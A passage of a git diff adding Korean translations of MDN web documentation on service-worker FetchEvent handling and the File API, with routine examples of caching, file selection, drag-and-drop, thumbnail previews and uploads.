The {{domxref("Client.id", "id")}} of the same-origin {{domxref("Client", "client")}} that initiated the fetch.
+
{{domxref("fetchEvent.preloadResponse")}} {{readonlyinline}}
+
A {{jsxref("Promise")}} for a {{domxref("Response")}}, or void if this is not a navigation, or {{domxref("NavigationPreloadManager", "navigation preload", "", 1)}} is not enabled.
+
{{domxref("fetchEvent.request")}} {{readonlyInline}}
+
The {{domxref("Request")}} the browser intends to make.
+
+ +

Methods

+ +

Inherits methods from its parent, {{domxref("ExtendableEvent")}}.

+ +
+
{{domxref("fetchEvent.respondWith()")}}
+
Prevent the browser's default fetch handling, and provide (a promise for) a response yourself.
+
{{domxref("extendableEvent.waitUntil()")}}
+
+

Extends the lifetime of the event. Used to notify the browser of tasks that extend beyond the returning of a response, such as streaming and caching.

+
+
+ +

Examples

+ +

This fetch event uses the browser default for non-GET requests. For GET requests it tries to return a match in the cache, and falls back to the network. If it finds a match in the cache, it asynchronously updates the cache for next time.

+ +
addEventListener('fetch', event => {
+  // Let the browser do its default thing
+  // for non-GET requests.
+  if (event.request.method != 'GET') return;
+
+  // Prevent the default, and handle the request ourselves.
+  event.respondWith(async function() {
+    // Try to get the response from a cache.
+    const cache = await caches.open('dynamic-v1');
+    const cachedResponse = await cache.match(event.request);
+
+    if (cachedResponse) {
+      // If we found a match in the cache, return it, but also
+      // update the entry in the cache in the background.
+      event.waitUntil(cache.add(event.request));
+      return cachedResponse;
+    }
+
+    // If we didn't find a match in the cache, use the network.
+    return fetch(event.request);
+  }());
+});
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#fetch-event-section', 'FetchEvent')}}{{Spec2('Service Workers')}}Initial definition.
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.FetchEvent")}}

+
+ +

See also

+ + diff --git a/files/ko/web/api/fetchevent/respondwith/index.html b/files/ko/web/api/fetchevent/respondwith/index.html new file mode 100644 index 0000000000..1e348c699c --- /dev/null +++ b/files/ko/web/api/fetchevent/respondwith/index.html @@ -0,0 +1,115 @@ +--- +title: FetchEvent.respondWith() +slug: Web/API/FetchEvent/respondWith +translation_of: Web/API/FetchEvent/respondWith +--- +

{{APIRef("Service Workers API")}}{{SeeCompatTable}}

+ +

{{domxref("FetchEvent")}}의 respondWith() 메소드는 브라우저의 기본 fetch 핸들링을 막고, 당신 스스로 {{domxref("Response")}}에 대한 promise를 제공할 수 있게 허락합니다.

+ +

대부분의 상황에서 당신은 수신자가 이해하는 어떠한 응답이라도 제공할 수 있습니다. 예를 들어, {{HTMLElement('img')}} 엘리먼트가 해당 요청을 시작했다면, 응답 객체는 이미지 데이터를 필요로 합니다. 보안적인 이유들로, 여기엔 몇가지 전역 규칙이 존재합니다.

+ + + +

Specifying the final URL of a resource

+ +

From Firefox 59 onwards, when a service worker provides a {{domxref("Response")}} to {{domxref("FetchEvent.respondWith()")}}, the {{domxref("Response.url")}} value will be propagated to the intercepted network request as the final resolved URL.  If the {{domxref("Response.url")}} value is the empty string, then the {{domxref("Request.url","FetchEvent.request.url")}} is used as the final URL.

+ +

In the past the {{domxref("Request.url","FetchEvent.request.url")}} was used as the final URL in all cases.  The provided {{domxref("Response.url")}} was effectively ignored.

+ +

This means, for example, if a service worker intercepts a stylesheet or worker script, then the provided {{domxref("Response.url")}} will be used to resolve any relative {{cssxref("@import")}} or {{domxref("WorkerGlobalScope.importScripts()","importScripts()")}} subresource loads ({{bug(1222008)}}).

+ +

For most types of network request this change has no impact because you can't observe the final URL.  There are a few, though, where it does matter:

+ + + +

Note that navigation requests for {{domxref("Window","Windows")}} and {{domxref("HTMLIFrameElement","iframes")}} do NOT use the final URL.  The way the HTML specification handles redirects for navigations ends up using the request URL for the resulting {{domxref("Window.location")}}.  This means sites can still provide an "alternate" view of a web page when offline without changing the user-visible URL.

+ +

Syntax

+ +
fetchEvent.respondWith(
+  // Promise that resolves to a Response.
+​)
+ +

Parameters

+ +

A {{jsxref("Promise")}} for a {{domxref("Response")}}.

+ +

Return value

+ +

Void.

+ +

Exceptions

+ + + + + + + + + + + + + + +
ExceptionNotes
NetworkErrorA network error is triggered on certain combinations of {{domxref("Request.mode","FetchEvent.request.mode")}} and {{domxref("Response.type")}}  values, as hinted at in the "global rules" listed above.
+ +

Examples

+ +

This fetch event tries to return a response from the cache API, falling back to the network otherwise.

+ +
addEventListener('fetch', event => {
+  // Prevent the default, and handle the request ourselves.
+  event.respondWith(async function() {
+    // Try to get the response from a cache.
+    const cachedResponse = await caches.match(event.request);
+    // Return it if we found one.
+    if (cachedResponse) return cachedResponse;
+    // If we didn't find a match in the cache, use the network.
+    return fetch(event.request);
+  }());
+});
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#fetch-event-respondwith-method', 'respondWith()')}}{{Spec2('Service Workers')}}Initial definition.
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.FetchEvent.respondWith")}}

+
+ +

See also

+ + diff --git a/files/ko/web/api/file/file/index.html b/files/ko/web/api/file/file/index.html new file mode 100644 index 0000000000..4445ced75f --- /dev/null +++ b/files/ko/web/api/file/file/index.html @@ -0,0 +1,72 @@ +--- +title: File.File() +slug: Web/API/File/File +tags: + - API + - Constructor + - File + - Reference + - 파일 +translation_of: Web/API/File/File +--- +
{{APIRef("File")}}
+ +

File() 생성자는 {{domxref("File")}} 객체의 새로운 인스턴스를 생성합니다.

+ +

구문

+ +
new File(bits, name[, options]);
+ +

매개변수

+ +
+
bits
+
{{jsxref("ArrayBuffer")}}, {{domxref("ArrayBufferView")}}, {{domxref("Blob")}}, 또는 {{domxref("DOMString")}} 객체로 이루어진 {{jsxref("Array")}}. UTF-8로 인코딩한 파일 내용입니다.
+
name
+
파일명이나 파일의 경로를 나타내는 {{domxref("USVString")}}.
+
options {{optional_inline}}
+
파일의 추가 속성을 담은 옵션 객체. 가능한 옵션은 다음과 같습니다. +
    +
  • type: 파일 내용의 MIME 유형을 나타내는 {{domxref("DOMString")}}. 기본값은 빈 문자열입니다.
  • +
  • lastModified: 유닉스 시간(1970-01-01T00:00:00Z)과 파일이 마지막으로 변경된 시각의 밀리초 차이. 기본값은 {{jsxref("Date.now()")}}의 값입니다.
  • +
+
+
+ +

예제

+ +
var file = new File(["foo"], "foo.txt", {
+  type: "text/plain",
+});
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('File API')}}{{Spec2('File API')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.File.File")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/file/index.html b/files/ko/web/api/file/index.html new file mode 100644 index 0000000000..b94140e633 --- /dev/null +++ b/files/ko/web/api/file/index.html @@ -0,0 +1,99 @@ +--- +title: File +slug: Web/API/File +tags: + - API + - File API + - Interface + - Reference + - Web + - 파일 +translation_of: Web/API/File +--- +
{{APIRef}}
+ +

File 인터페이스는 파일에 대한 정보를 제공하고, 웹 페이지의 JavaScript가 해당 내용에 접근할 수 있는 방법을 제공합니다.

+ +

File 객체는 보통 {{domxref("FileList")}} 객체에서 가져올 수 있습니다. 그리고 FileList 객체는 사용자가 {{HTMLElement("input")}} 요소에서 파일을 선택했을 때, 드래그 앤 드롭 작업의 {{domxref("DataTransfer")}} 객체에서, 그리고 {{domxref("HTMLCanvasElement")}}의 mozGetAsFile() API에서 반환합니다.

+ +

File 객체는 특정 종류의 {{domxref("Blob")}}이며, Blob을 사용할 수 있는 모든 맥락에서 사용할 수 있습니다. 특히 {{domxref("FileReader")}}, {{domxref("URL.createObjectURL()")}}, {{domxref("ImageBitmapFactories.createImageBitmap()", "createImageBitmap()")}}, {{domxref("XMLHttpRequest", "", "send()")}}는 BlobFile을 모두 허용합니다.

+ +

자세한 정보 및 예제는 웹 애플리케이션에서 파일 사용하기를 참고하세요.

+ +

{{InheritanceDiagram}}

+ +

생성자

+ +
+
{{domxref("File.File", "File()")}}
+
새로 생성한 File을 반환합니다.
+
+ +

속성

+ +
+
{{domxref("File.lastModified")}} {{readonlyinline}}
+
파일의 최종 수정 시간을 UNIX 시간(1970년 1월 1일 자정)과의 밀리초 차이로 반환합니다.
+
{{domxref("File.lastModifiedDate")}} {{readonlyinline}} {{deprecated_inline}}
+
File 객체가 참조하는 파일의 마지막 수정 시간을 {{jsxref("Date")}}로 반환합니다.
+
{{domxref("File.name")}} {{readonlyinline}}
+
File 객체가 참조하는 파일의 이름을 반환합니다.
+
{{domxref("File.webkitRelativePath")}} {{readonlyinline}} {{non-standard_inline}}
+
{{domxref("File")}}의 URL 상대경로를 반환합니다.
+
+ +

File이 {{domxref("Blob")}} 을 구현하기 때문에 사용할 수 있는 속성도 있습니다.

+ +
+
{{domxref("File.size")}} {{readonlyinline}}
+
File의 크기를 바이트 단위로 반환합니다.
+
{{domxref("File.type")}} {{readonlyinline}}
+
FileMIME 유형을 반환합니다.
+
+ +

메서드

+ +

File 인터페이스는 메서드를 정의하지 않지만, {{domxref("Blob")}} 인터페이스에서 메서드를 상속합니다.

+ +
+
{{domxref("Blob.slice()")}}
+
소스 Blob에서 지정한 바이트 범위 만큼의 데이터를 포함하는, 새로운 Blob 객체를 반환합니다.
+
{{domxref("Blob.stream()")}}
+
File을 {{domxref("ReadableStream")}}으로 변환합니다. ReadableStream은 파일 내용을 읽을 때 사용할 수 있습니다.
+
{{domxref("Blob.text()")}}
+
File을 스트림으로 변환한 후 끝까지 읽습니다. {{domxref("USVString")}}으로 이행하는 {{jsxref("Promise")}}를 반환합니다.
+
{{domxref("Blob.arrayBuffer()")}}
+
File을 스트림으로 변환한 후 끝까지 읽습니다. {{domxref("ArrayBuffer")}}로 이행하는 {{jsxref("Promise")}}를 반환합니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('File API', "#file-section", "The File interface")}}{{Spec2('File API')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.File")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/file/name/index.html b/files/ko/web/api/file/name/index.html new file mode 100644 index 0000000000..0aa67a8374 --- /dev/null +++ b/files/ko/web/api/file/name/index.html @@ -0,0 +1,66 @@ +--- +title: File.name +slug: Web/API/File/name +tags: + - API + - File API + - Property + - Reference + - 파일 +translation_of: Web/API/File/name +--- +
{{APIRef("File API")}}
+ +

name 속성은 {{domxref("File")}} 객체가 나타내는 파일의 이름을 반환합니다. 보안상의 이유로 경로는 이름에서 제외됩니다.

+ +

+ +

"My Resume.rtf"와 같이 경로가 없는 파일의 이름을 포함하는 문자열입니다.

+ +

예제

+ +
<input type="file" multiple onchange="processSelectedFiles(this)">
+
+ +
function processSelectedFiles(fileInput) {
+  var files = fileInput.files;
+
+  for (var i = 0; i < files.length; i++) {
+    alert("Filename " + files[i].name);
+  }
+}
+ +

아래에서 결과를 확인해보세요.

+ +

{{ EmbedLiveSample('예제', 300, 50) }}

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('File API', '#file-attrs', 'name')}}{{Spec2('File API')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.File.name")}}

+
+ +

같이 보기

+ + diff --git a/files/ko/web/api/file/size/index.html b/files/ko/web/api/file/size/index.html new file mode 100644 index 0000000000..eb133e801f --- /dev/null +++ b/files/ko/web/api/file/size/index.html @@ -0,0 +1,30 @@ +--- +title: File.size +slug: Web/API/File/size +translation_of: Web/API/File/size +--- +

{{APIRef("File API") }}

+ +

Summary

+ +

파일의 크기를 바이트 단위로 반환합니다.

+ +

Syntax

+ +
var size = instanceOfFile.size
+ +

Value

+ +

숫자

+ +

Specification

+ +

사양에 포함되지 않았습니다.

+ +

See also

+ + + +

 

diff --git a/files/ko/web/api/file/using_files_from_web_applications/index.html b/files/ko/web/api/file/using_files_from_web_applications/index.html new file mode 100644 index 0000000000..7c4a27357d --- /dev/null +++ b/files/ko/web/api/file/using_files_from_web_applications/index.html @@ -0,0 +1,496 @@ +--- +title: 웹 어플리케이션에서 파일 사용하기 +slug: Web/API/File/Using_files_from_web_applications +translation_of: Web/API/File/Using_files_from_web_applications +--- +

{{APIRef("File API")}}

+ +

HTML5의 DOM으로 추가된 File API를 사용하여, 이제 웹 컨텐츠가 사용자에게 로컬 파일을 선택한 후 파일의 컨텐츠를 읽도록 요청할 수 있습니다. 이 선택은 HTML {{HTMLElement("input")}} 엘리먼트나 드래그 앤 드랍을 사용하는 것으로도 수행할 수 있습니다.

+ +

원하신다면 확장 기능이나 다른 브라우저 크롬 코드에서도 DOM File API를 사용하실 수 있습니다. 하지만, 조심해야할 몇 가지 부가적인 기능들이 있음을 유의하세요. 자세한 내용은 크롬 코드에서 DOM File API 사용하기 글을 확인하세요.

+ +

선택한 파일에 접근하기

+ +

다음 HTML을 생각해봅시다.

+ +
<input type="file" id="input">
+ +

File API는 사용자에 의해 선택된 파일을 나타내는 객체인 {{DOMxRef("File")}}을 포함하는 {{DOMxRef("FileList")}}에 접근할 수 있게 해줍니다.

+ +

사용자가 하나의 파일만을 선택한 경우, 리스트의 첫 번째 파일만 고려하면 됩니다.

+ +

기존의 DOM 셀렉터를 사용하여 선택된 하나의 파일에 접근하기:

+ +
const selectedFile = document.getElementById('input').files[0];
+ +

change 이벤트에서 선택한 파일에 접근하기

+ +

change 이벤트를 통해 {{DOMxRef("FileList")}}에 접근할수도 있습니다(필수는 아닙니다).

+ +
<input type="file" id="input" onchange="handleFiles(this.files)">
+ +

사용자가 하나의 파일을 선택할 때, 사용자에 의해 선택된 파일을 나타내는 객체인 {{DOMxRef("File")}}을 포함하는 {{DOMxRef("FileList")}}와 함께 handlerFiles() 함수가 호출됩니다.

+ +

사용자가 여러 파일을 선택할 수 있도록 하길 원할 경우, 간단히 input 엘리먼트에서 multiple 속성을 사용하면됩니다.

+ +
<input type="file" id="input" multiple onchange="handleFiles(this.files)">
+ +

이 경우, handleFiles() 함수로 전달된 파일 리스트는 사용자가 선택한 각 파일에 대해 하나의 {{DOMxRef("File")}} 객체를 갖습니다.

+ +

동적으로 change 리스너 추가하기

+ +

change 이벤트 리스너를 추가하려면 {{DOMxRef("EventTarget.addEventListener()")}}를 다음과 같이 사용해야합니다.

+ +
const inputElement = document.getElementById("input");
+inputElement.addEventListener("change", handleFiles, false);
+function handleFiles() {
+  const fileList = this.files; /* 이제 파일 리스트로 작업할 수 있습니다 */
+}
+ +

이 경우에는, 파라미터를 전달한 이벤트 핸들러에의해 호출된 이전 예제에서와 달리, handleFiles() 함수 자체가 이벤트 핸들러임을 유의하세요.

+ +

선택한 파일에 대한 정보 얻기

+ +

DOM에 의해 제공된 {{DOMxRef("FileList")}} 객체는 사용자에 의해 선택된 모든 파일을 각각 {{DOMxRef("File")}} 객체로 지정하여 나열합니다. 파일 리스트의 length 속성의 값을 확인하여 사용자가 선택한 파일의 수를 결정할 수 있습니다.

+ +
const numFiles = files.length;
+ +

개별 {{DOMxRef("File")}} 객체는 리스트를 간단히 배열처럼 접근하여 얻을 수 있습니다.

+ +
for (let i = 0, numFiles = files.length; i < numFiles; i++) {
+  const file = files[i];
+  ..
+}
+
+ +

위 반복문은 파일 리스트의 모든 파일을 순회합니다.

+ +

파일에 대한 유용한 정보를 포함하는 {{DOMxRef("File")}} 객체는 세 가지 속성을 제공합니다.

+ +
+
name
+
읽기 전용 문자열인 파일의 이름입니다. 단순한 파일 이름이며, 경로에 대한 정보는 포함하지 않습니다.
+
size
+
읽기 전용 64비트 정수의 바이트 단위 파일의 크기입니다.
+
type
+
읽기 전용 문자열인 파일의 MIME 타입입니다. 결정할 수 없는 타입인 경우 ""입니다.
+
+ +

예시: 파일 크기 보기

+ +

다음 예시는 size 프로퍼티를 사용하는 방법을 보여줍니다.

+ +
<!DOCTYPE html>
+<html>
+<head>
+<meta charset="UTF-8">
+<title>File(s) size</title>
+<script>
+function updateSize() {
+  let nBytes = 0,
+      oFiles = document.getElementById("uploadInput").files,
+      nFiles = oFiles.length;
+  for (let nFileId = 0; nFileId < nFiles; nFileId++) {
+    nBytes += oFiles[nFileId].size;
+  }
+  let sOutput = nBytes + " bytes";
+  // multiples approximation을 위한 선택적 코드
+  for (let aMultiples = ["KiB", "MiB", "GiB", "TiB", "PiB", "EiB", "ZiB", "YiB"], nMultiple = 0, nApprox = nBytes / 1024; nApprox > 1; nApprox /= 1024, nMultiple++) {
+    sOutput = nApprox.toFixed(3) + " " + aMultiples[nMultiple] + " (" + nBytes + " bytes)";
+  }
+  // 선택적 코드의 끝
+  document.getElementById("fileNum").innerHTML = nFiles;
+  document.getElementById("fileSize").innerHTML = sOutput;
+}
+</script>
+</head>
+
+<body onload="updateSize();">
+<form name="uploadForm">
+<p><input id="uploadInput" type="file" name="myFiles" onchange="updateSize();" multiple> selected files: <span id="fileNum">0</span>; total size: <span id="fileSize">0</span></p>
+<p><input type="submit" value="Send file"></p>
+</form>
+</body>
+</html>
+
+ +

click() 메소드를 사용하여 숨겨진 파일 input 엘리먼트 사용하기

+ +

Gecko 2.0 {{geckoRelease("2.0")}}의 시작과 함께, 확실히 세련되지 않은 파일 {{HTMLElement("input")}} 엘리먼트를 숨기고 파일 선택기를 열고 사용자에 의해 선택된 파일 또는 파일들을 보여주는 여러분만의 인터페이스를 제공할 수 있습니다. input 엘리먼트를 display:none 으로 스타일링하고 {{HTMLElement("input")}} 엘리먼트에 {{DOMxRef("element.click","click()")}} 메소드를 호출하는 것으로 이를 수행할 수 있습니다.

+ +

다음 HTML을 생각해봅시다.

+ +
<input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)">
+<button id="fileSelect">Select some files</button>
+ +

click 이벤트를 다루는 코드는 다음과 같을 것입니다.

+ +
const fileSelect = document.getElementById("fileSelect"),
+  fileElem = document.getElementById("fileElem");
+
+fileSelect.addEventListener("click", function (e) {
+  if (fileElem) {
+    fileElem.click();
+  }
+}, false);
+
+ +

여러분이 원하는 파일 선택기를 열기위한 새로운 버튼을 스타일링할 수 있습니다.

+ +

label 엘리먼트를 사용하여 숨겨진 파일 input 엘리먼트 실행하기

+ +

JavaScript(click() 메소드)를 사용하지 않고 파일 선택기를 열도록 허용하기 위해 {{HTMLElement("label")}} 엘리먼트가 사용될 수 있습니다. 이 경우에는 input 엘리먼트가 반드시 display: none(또는 visibility: hidden)을 사용하여 숨긴상태가 아니어야하며, 그렇지 않을 경우 라벨은 키보드로 접근이 불가하다는 것을 유의하세요. 대신 외관상으로 숨기기 테크닉을 사용하세요.

+ +

다음 HTML과

+ +
<input type="file" id="fileElem" multiple accept="image/*" class="visually-hidden">
+<label for="fileElem">Select some files</label>
+ +

CSS를 생각해봅시다.

+ +
.visually-hidden {
+  position: absolute !important;
+  height: 1px;
+  width: 1px;
+  overflow: hidden;
+  clip: rect(1px, 1px, 1px, 1px);
+}
+
+input.visually-hidden:focus + label {
+  outline: thin dotted;
+}
+
+ +

fileElem.click()을 호출하기위해 JavaScript 코드를 추가할 필요가 없습니다. 또한 이 경우에는 여러분이 원하는대로 label 엘리먼트를 스타일링 할 수 있습니다. 여러분은 숨겨진 input 필드의 포커싱 상태를 시각적인 신호(위에서 보여진 outline이나, background-color 또는 box-shadow)로 label에 제공해야합니다. (이 글의 작성 시점에서, Firefox는 <input type="file"> 엘리먼트에 대한 시각적 신호를 보여주지 않습니다.)

+ +

드래그 앤 드랍을 사용하여 파일 선택하기

+ +

사용자가 파일을 웹 어플리케이션으로 드래그 앤 드랍하도록 할 수도 있습니다.

+ +

첫 단계는 드랍 영역을 설정하는 것입니다. 드랍을 허용할 컨텐츠의 정확한 영역은 어플리케이션의 디자인에따라 아주 달라질 수 있지만, 드랍 이벤트를 받는 엘리먼트를 만드는 것은 간단합니다.

+ +
let dropbox;
+
+dropbox = document.getElementById("dropbox");
+dropbox.addEventListener("dragenter", dragenter, false);
+dropbox.addEventListener("dragover", dragover, false);
+dropbox.addEventListener("drop", drop, false);
+
+ +

이 예시에서는, dropbox라는 ID를 갖는 엘리먼트를 드랍 영역으로 변경합니다. {{event('dragenter')}}, {{event('dragover')}}, {{event('drop')}} 이벤트를위한 리스너를 추가하는 것으로 이를 수행할 수 있습니다.

+ +

우리의 경우에는, dragenterdragover 이벤트로 무언가를 진짜 할 필요는 없으므로, 두 함수는 모두 단순합니다. 두 함수는 단지 이벤트의 전파를 중단하고 기본 동작이 발생하는 것을 방지합니다.

+ +
function dragenter(e) {
+  e.stopPropagation();
+  e.preventDefault();
+}
+
+function dragover(e) {
+  e.stopPropagation();
+  e.preventDefault();
+}
+
+ +

진짜 마법은 drop() 함수에서 발생합니다.

+ +
function drop(e) {
+  e.stopPropagation();
+  e.preventDefault();
+
+  const dt = e.dataTransfer;
+  const files = dt.files;
+
+  handleFiles(files);
+}
+
+ +

여기에서, 우리는 이벤트로부터 dataTransfer 필드를 추출하고, 그로부터 파일 리스트를 가져온 후, handleFiles()로 전달합니다. 이 지점부터, 파일을 다루는 것은 사용자가 input 엘리먼트를 사용했든 드래그 앤 드랍을 사용했든 동일합니다.

+ +

예시: 사용자가 선택한 이미지의 섬네일 보여주기

+ +

여러분이 차세대 사진 공유 웹사이트를 개발중이며 HTML5를 사용하여 사진이 실제로 업로드되기 전에 이미지의 섬네일 미리보기를 표시하길 원한다고 가정해봅시다. 여러분은 앞서 설명한대로 input 엘리먼트나 드랍 영역을 설정하고 아래와 같은 handleFiles() 함수를 호출하면됩니다.

+ +
function handleFiles(files) {
+  for (let i = 0; i < files.length; i++) {
+    const file = files[i];
+
+    if (!file.type.startsWith('image/')){ continue }
+
+    const img = document.createElement("img");
+    img.classList.add("obj");
+    img.file = file;
+    preview.appendChild(img); // "preview"가 결과를 보여줄 div 출력이라 가정.
+
+    const reader = new FileReader();
+    reader.onload = (function(aImg) { return function(e) { aImg.src = e.target.result; }; })(img);
+    reader.readAsDataURL(file);
+  }
+}
+
+ +

H여기에서 사용자가 선택한 파일을 다루는 반복문은 각 파일의 type 속성을 보고 MIME 타입이 "image/" 문자열로 시작하는지를 확인합니다. 이미지인 각 파일에 대해서는, 새로운 img 엘리먼트를 생성합니다. CSS를 사용하여 보기 좋은 테두리나 그림자를 설정할 수 있고 이미지의 크기를 지정할 수 있으므로, 스타일링에 대해서는 여기에서 다룰 필요는 없습니다.

+ +

각 이미지는 각각에 추가된 CSS 클래스 obj를 가져, DOM 트리에서의 탐색을 더 쉽게만듭니다. 각 이미지에 이미지에 대한 {{DOMxRef("File")}}을 지정하는 file 속성도 추가합니다(이는 나중에 실제로 업로드를 위한 이미지를 fetch 할 수 있게해줍니다). {{DOMxRef("Node.appendChild()")}}를 사용하여 다큐먼트의 미리보기 영역에 새로운 섬네일을 추가합니다.

+ +

다음으로, {{DOMxRef("FileReader")}}를 설정하여 이미지 로딩과 이를 img 엘리먼트에 추가하는 것을 비동기적으로 처리합니다. 새로운 FileReader 객체를 생성한 후에, onload 함수를 설정하고 readAsDataURL()을 호출하여 백그라운드에서 읽기 작업을 시작합니다. 이미지 파일의 전체 컨텐츠가 로드되었을 때, onload 콜백으로 전달되는 data: URL로 변환됩니다. 이 루틴을 구현하면 img 엘리먼트의 src 속성을 로드된 이미지로 설정하여 사용자 화면의 섬네일에 이미지가 나타나납니다.

+ +

객체 URL 사용하기

+ +

Gecko 2.0 {{geckoRelease("2.0")}}은 DOM {{DOMxRef("window.URL.createObjectURL()")}} 및 {{DOMxRef("window.URL.revokeObjectURL()")}} 메소드에 대한 지원을 소개했습니다. 이 메소드들은 사용자의 컴퓨터에 있는 로컬 파일을 포함해, DOM {{DOMxRef("File")}} 객체를 사용해 참조된 데이터에 대한 참조로 사용할 수 있는 간단한 URL 문자열을 생성할 수 있게 해줍니다.

+ +

HTML에 URL로 참조하길 원하는 {{DOMxRef("File")}} 객체가 있다면, 다음과 같이 객체 URL을 생성할 수 있습니다.

+ +
const objectURL = window.URL.createObjectURL(fileObj);
+ +

객체 URL은 {{DOMxRef("File")}} 객체를 식별하는 문자열입니다. {{DOMxRef("window.URL.createObjectURL()")}}을 호출할때마다, 여러분이 이미 해당 파일에 대한 객체 URL을 생성했더라도 고유한 객체 URL이 생성됩니다. 각각은 반드시 해제되어야 합니다. 객체 URL은 다큐먼트가 unload될 때 자동으로 해제되지만, 여러분의 페이지가 동적으로 이를 사용할 경우 {{DOMxRef("window.URL.revokeObjectURL()")}}을 호출하여 명시적으로 해제해야합니다.

+ +
window.URL.revokeObjectURL(objectURL);
+ +

예시: 객체 URL을 사용하여 이미지 표시하기

+ +

다음 예시는 객체 URL을 사용하여 이미지 섬네일을 표시합니다. 부가적으로, 파일의 이름과 크기를 포함한 다른 정보도 표시합니다.

+ +

인터페이스를 나타내는 HTML은 다음과 같습니다.

+ +
<input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)">
+<a href="#" id="fileSelect">Select some files</a>
+<div id="fileList">
+  <p>No files selected!</p>
+</div>
+
+ +

위 코드는 파일 선택기를 불러오는 링크와 우리의 파일 {{HTMLElement("input")}} 엘리먼트를 설정합니다(파일 input을 숨겨 덜 매력적인 사용자 인터페이스가 표시되는 것을 방지하였으므로). 이는 파일 선택기를 불러오는 메소드와 마찬가지로, {{anch("Using hidden file input elements using the click() method")}} 섹션에서 설명합니다.

+ +

handleFiles() 메소드는 다음과 같습니다.

+ +
window.URL = window.URL || window.webkitURL;
+
+const fileSelect = document.getElementById("fileSelect"),
+    fileElem = document.getElementById("fileElem"),
+    fileList = document.getElementById("fileList");
+
+fileSelect.addEventListener("click", function (e) {
+  if (fileElem) {
+    fileElem.click();
+  }
+  e.preventDefault(); // "#" 해시로 이동을 방지
+}, false);
+
+function handleFiles(files) {
+  if (!files.length) {
+    fileList.innerHTML = "<p>No files selected!</p>";
+  } else {
+    fileList.innerHTML = "";
+    const list = document.createElement("ul");
+    fileList.appendChild(list);
+    for (let i = 0; i < files.length; i++) {
+      const li = document.createElement("li");
+      list.appendChild(li);
+
+      const img = document.createElement("img");
+      img.src = window.URL.createObjectURL(files[i]);
+      img.height = 60;
+      img.onload = function() {
+        window.URL.revokeObjectURL(this.src);
+      }
+      li.appendChild(img);
+      const info = document.createElement("span");
+      info.innerHTML = files[i].name + ": " + files[i].size + " bytes";
+      li.appendChild(info);
+    }
+  }
+}
+
+ +

fileList ID로 {{HTMLElement("div")}}의 URL을 페칭하는 것으로 시작합니다. 이는 섬네일을 포함하여 파일 리스트로 삽입하는 블록입니다.

+ +

handleFiles()로 전달된 {{DOMxRef("FileList")}} 객체가 null인 경우, 블록의 inner HTML을 간단하게 "No files selected!"를 표시하도록 설정합니다. null이 아닌 경우, 다음과 같이 파일 리스트를 구축합니다.

+ +
    +
  1. 새로운 순서가 없는 리스트({{HTMLElement("ul")}}) 엘리먼트가 생성됩니다.
  2. +
  3. 새로운 리스트 엘리먼트가 {{DOMxRef("Node.appendChild()")}} 메소드 호출에 의해 {{HTMLElement("div")}} 블록으로 삽입됩니다.
  4. +
  5. files에 의해 나타나는 {{DOMxRef("FileList")}} 내의 각 {{DOMxRef("File")}}에 대해 : +
      +
    1. 새로운 리스트 항목({{HTMLElement("li")}}) 엘리먼트를 생성하고 리스트로 삽입합니다.
    2. +
    3. 새로운 이미지({{HTMLElement("img")}}) 엘리먼트를 생성합니다.
    4. +
    5. {{DOMxRef("window.URL.createObjectURL()")}}을 사용하여 이미지의 소스를 파일을 나타내는 새로운 객체 URL로 설정해 blob URL을 생성합니다.
    6. +
    7. 이미지의 height를 60 픽셀로 설정합니다.
    8. +
    9. 이미지가 로드된 이후에 더 이상 필요하지 않게되므로 객체 URL을 해제하기 위한 이미지의 로드 이벤트 핸들러를 설정합니다. {{DOMxRef("window.URL.revokeObjectURL()")}} 메소드를 호출하고 img.src로 지정한 객체 URL 문자열을 전달하면됩니다.
    10. +
    11. 리스트로 새로운 리스트 항목을 추가합니다.
    12. +
    +
  6. +
+ +

다음은 위 코드의 라이브 데모입니다.

+ +

{{EmbedLiveSample('Example_Using_object_URLs_to_display_images', '100%', '300px')}}

+ +

Example: Uploading a user-selected file

+ +

Another thing you might want to do is let the user upload the selected file or files (such as the images selected using the previous example) to a server. This can be done asynchronously very easily.

+ +

Creating the upload tasks

+ +

Continuing with the code that built the thumbnails in the previous example, recall that every thumbnail image is in the CSS class obj with the corresponding {{DOMxRef("File")}} attached in a file attribute. This allows us to select all of the images the user has chosen for uploading using {{DOMxRef("Document.querySelectorAll()")}}, like this:

+ +
function sendFiles() {
+  const imgs = document.querySelectorAll(".obj");
+
+  for (let i = 0; i < imgs.length; i++) {
+    new FileUpload(imgs[i], imgs[i].file);
+  }
+}
+
+ +

Line 2 fetches a {{DOMxRef("NodeList")}}, called imgs, of all the elements in the document with the CSS class obj. In our case, these will be all of the image thumbnails. Once we have that list, it's trivial to go through it and create a new FileUpload instance for each. Each of these handles uploading the corresponding file.

+ +

Handling the upload process for a file

+ +

The FileUpload function accepts two inputs: an image element and a file from which to read the image data.

+ +
function FileUpload(img, file) {
+  const reader = new FileReader();
+  this.ctrl = createThrobber(img);
+  const xhr = new XMLHttpRequest();
+  this.xhr = xhr;
+
+  const self = this;
+  this.xhr.upload.addEventListener("progress", function(e) {
+        if (e.lengthComputable) {
+          const percentage = Math.round((e.loaded * 100) / e.total);
+          self.ctrl.update(percentage);
+        }
+      }, false);
+
+  xhr.upload.addEventListener("load", function(e){
+          self.ctrl.update(100);
+          const canvas = self.ctrl.ctx.canvas;
+          canvas.parentNode.removeChild(canvas);
+      }, false);
+  xhr.open("POST", "http://demos.hacks.mozilla.org/paul/demos/resources/webservices/devnull.php");
+  xhr.overrideMimeType('text/plain; charset=x-user-defined-binary');
+  reader.onload = function(evt) {
+    xhr.send(evt.target.result);
+  };
